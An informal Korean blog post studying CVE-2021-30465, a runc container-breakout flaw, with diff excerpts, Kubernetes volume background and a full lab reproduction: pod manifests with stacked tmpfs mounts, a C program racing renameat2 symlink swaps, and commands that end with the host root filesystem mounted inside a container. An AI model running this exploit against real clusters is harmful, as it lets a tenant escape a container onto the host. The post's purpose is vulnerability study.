테스뜨

구름빵·2022년 1월 21일

개요

runc before 1.0.0-rc95 allows a Container Filesystem Breakout via Directory Traversal. To exploit the vulnerability, an attacker must be able to create multiple containers with a fairly specific mount configuration. The problem occurs via a symlink-exchange attack that relies on a race condition.

1.0.0-rc95 이전의 runc는 컨테이너 파일시스템 탈출이 가능했다. 이 공격을 실행하기 위해 공격자는 구체적인 mount 설정을 변경할 수 있는 컨테이너를 임의로 생성할 수 있어야 한다. 이는 레이스 컨디션에 의한 symlink-exchange attack에 기반한다.

서버리스에서는 원하는 컨테이너에서 함수 런타임을 돌릴 수 있기 때문에 공격자 조건에 만족되지 않을까? 그리고 symlink-exchange attack이 도커/쿠버네티스 cve에 자주 등장하길래 분석해보기로 했따

poc가 없다근데 ㅎㅎ

Diff

rootfs_linux.go

준내게 많이 바뀌었다. 막막하다..

힌트가 되는 주석들을 좀 읽어보면

rc94에서

case "tmpfs":
		copyUp := m.Extensions&configs.EXT_COPYUP == configs.EXT_COPYUP
		tmpDir := ""
		// dest might be an absolute symlink, so it needs
		// to be resolved under rootfs.
		dest, err := securejoin.SecureJoin(rootfs, m.Destination)
		if err != nil {
			return err
		}
		m.Destination = dest

절대 경로가 심볼릭 링크로 들어올 수 있으니 루트 파일시스템 안으로 넣어야 된다 이 부분이랑

default:
		// ensure that the destination of the mount is resolved of symlinks at mount time because
		// any previous mounts can invalidate the next mount's destination.
		// this can happen when a user specifies mounts within other mounts to cause breakouts or other
		// evil stuff to try to escape the container's rootfs.
		var err error
		if dest, err = securejoin.SecureJoin(rootfs, m.Destination); err != nil {
			return err
		}
		if err := checkProcMount(rootfs, dest, m.Source); err != nil {
			return err
		}
		// update the mount with the correct dest after symlinks are resolved.
		m.Destination = dest

특히 여기

마운트 할 시에 이전 마운트가 다음 마운트에 영향을 미칠 수 있기 때문에 destination 경로는 절대경로로 들어와야 된다. 이는 유저가 마운트 안에서 특정 마운트를 설정해 놓는다든지 이런 짓을 통해 컨테이너의 rootfs 를 탈출 할 수 있게 한다

는 걸로 보아 정확히 저걸 해야 될거 같다. 도커도 이 위험성을 인지하고 있었고 securejoin으로 보안조치를 했지만 부족했었던 듯

알아야 할거 : mnt가 정확히 어떤방식으로 이루어지는지

삽질중...

PoC 실습과정

쿠베- 도커 설정

kubeadm init

sudo kubeadm init --pod-network-cidr=10.244.0.0/16 \
  --apiserver-advertise-address=<EC2 인스턴스 내부아이피>

config

mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config

install flannel for 20.04

kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml

join at worker

kubeadm init 할 때 kubelet이 죽는 문제 :

kubelet과 도커의 cgroup driver 를 맞춰줘야함

A solution that does not involve editing systemd units or drop-ins would be to create (or edit) the /etc/docker/daemon.json configuration file and to include the following:

{
  "exec-opts": ["native.cgroupdriver=systemd"]
}

After saving it, restart your docker service.

sudo systemctl restart docker

This solution obviously is only feasible if you would want to apply this system-wide.

Volume

은 컨테이너와 엮여서 pod를 이룬다. 컨테이너가 꺼져도 살아있는 저장공간임. volume들은 다른 컨테이너의 다른 디렉토리에 각각 마운트될 수 있다.

volume vs persistent volume

volume 은 컨테이너의 생사와 관련이 없지만 pod의 생사와는 관련된다. pod가 꺼지면 volume 들은 사라진다. 이에 반해 PV는 pod들이 꺼져도 사라지지 않는다.

emptyDir

초기에 빈 디렉토리로 시작하는 volume. 이는 기본적으로 그 노드를 구성하는 저장공간(디스크, SSD, 네트워크 저장공간 등) 에 저장된다.

그러나 emptyDir.medium 필드를 "Memory" 로 설정하면 쿠버네티스가 tmpfs 를 마운트해준다!

  • memory based file system memory based file system은 RAM에 직접적으로 저장공간을 생성해서 디스크 드라이브처럼 사용하는 파일 시스템을 말한다. 램에 적히니까 훨씬 빠르지만 가용 공간이 작고 부팅시 사라진다는 단점이 있다. ramfs ramfs는 리눅스 커널 cache와 완전히 동일하게 작동한다. 한계를 정할 수 없고 얘때매 캐싱 공간이 없어서 크래시날 수 있음 tmpfs ramfs의 단점을 보완하기 위해 tmpfs에서는 크기 상한을 정할 수 있다. 상한에 도달하면 'disk full' 에러를 뱉으며 실질적 디스크와 동일하게 작동한다.
apiVersion: v1
kind: Pod
metadata:
    name: test
spec:
    volumes:
    - name: empt-test1
      emptyDir:
        medium: "Memory"
#
    containers:
    - name: cnt1
      image: ubuntu
      command: [ "/bin/sleep", "inf" ]

      volumeMounts:
      - name: empt-test1
        mountPath: /c1/test1

    - name: cnt2
      image: ubuntu
      command: [ "/bin/sleep", "inf" ]

      volumeMounts:
      - name: empt-test1
        mountPath: /c2/test1

Untitled

Untitled

PoC 실습

kubectl create -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: attack
spec:
  terminationGracePeriodSeconds: 1
  volumes:
  - name: test1
    emptyDir:
      medium: "Memory"
  - name: test2
    emptyDir:
      medium: "Memory"
  containers:
  - name: c1
    image: ubuntu:latest
    command: [ "/bin/sleep", "inf" ]
    env:
    - name: MY_POD_UID
      valueFrom:
        fieldRef:
          fieldPath: metadata.uid
    volumeMounts:
    - name: test1
      mountPath: /test1
    - name: test2
      mountPath: /test2
#
$(for c in {2..20}; do
cat <<EOC
  - name: c$c
    image: donotexists.com/do/not:exist
    command: [ "/bin/sleep", "inf" ]
#
    volumeMounts:
    - name: test1
      mountPath: /test1
$(for m in {1..4}; do
cat <<EOM
    - name: test2
      mountPath: /test1/mnt$m
EOM
done
)
    - name: test2
      mountPath: /test1/zzz
EOC
done
)
EOF
kubectl create -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: attack
spec:
  terminationGracePeriodSeconds: 1
  volumes:
  - name: test1
    emptyDir: {}
  - name: test2
    emptyDir: {}
  containers:
  - name: c1
    image: ubuntu:latest
    command: [ "/bin/sleep", "inf" ]
    env:
    - name: MY_POD_UID
      valueFrom:
        fieldRef:
          fieldPath: metadata.uid
    volumeMounts:
    - name: test1
      mountPath: /test1
    - name: test2
      mountPath: /test2
#
$(for c in {2..20}; do
cat <<EOC
  - name: c$c
    image: donotexists.com/do/not:exist
    command: [ "/bin/sleep", "inf" ]
#
    volumeMounts:
    - name: test1
      mountPath: /test1
$(for m in {1..4}; do
cat <<EOM
    - name: test2
      mountPath: /test1/mnt$m
EOM
done
)
    - name: test2
      mountPath: /test1/zzz
EOC
done
)
EOF

race.c 바이너리

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/syscall.h>

int main(int argc, char *argv[]) {
    if (argc != 4) {
        fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]);
        exit(EXIT_FAILURE);
    }
    char *name1 = argv[1];
    char *name2 = argv[2];
    char *linkdest = argv[3];

    int dirfd = open(".", O_DIRECTORY|O_CLOEXEC);
    if (dirfd < 0) {
        perror("Error open CWD");
        exit(EXIT_FAILURE);
    }

    if (mkdir(name1, 0755) < 0) {
        perror("mkdir failed");
        //do not exit
    }
    if (symlink(linkdest, name2) < 0) {
        perror("symlink failed");
        //do not exit
    }

    while (1)
    {
        renameat2(dirfd, name1, dirfd, name2, RENAME_EXCHANGE);
    }
}

race 바이너리 c1에 복사 후 쉘실행

kubectl cp race -c c1 attack:/test1/
kubectl exec -ti pod/attack -c c1 -- bash

c1에서,

/test2/test2에 심볼릭링크 설정 (중요)

ln -s / /test2/test2

/test1/mnt 1~4 에서 레이스 바이너리 실행

cd test1
seq 1 4 | xargs -n1 -P4 -I{} ./race mnt{} mnt-tmp{} /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/

컨트롤 호스트쉘에서 나머지 컨테이너 init 실행

for c in {2..20}; do
  kubectl set image pod attack c$c=ubuntu:latest
done

결과 확인

for c in {2..20}; do
  echo ~~ Container c$c ~~
  kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz
done

설명~

키포인트 :

심볼릭링크는 그 자체로 resolve 되지 않는다.

마운트 하는 대상의 성질을 바꿀 수 없다.

c2+ init 할때

- name: test2
  mountPath: /test1/mnt$m

mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/mntX)

mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mntX)

race 바이너리로 인해

mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/)

/test2 → /tmp , tmp → volume/

volume

test1

mntX

mntX-tmp

test2

test2 → /

volume (test2)

test2 > /

- name: test2
  mountPath: /test1/zzz

mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/zzz)

/ on /test1/zzz

mount(/, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/zzz)

Untitled

+)

근데 저게 어캐됨

Untitled

?

원래 상위 디렉토리에 마운트는 안되지만 tmpfs의 경우 runc에서 임의 디렉토리에 복사 후 마운트 하기때문에 가능

http://blog.champtar.fr/runc-symlink-CVE-2021-30465/

와드

https://github.com/opencontainers/runc/releases/tag/v1.0.0-rc95

https://github.com/opencontainers/runc/releases/tag/v1.0.0-rc94

profile
ฅʕ•̫͡•ʔฅ

0개의 댓글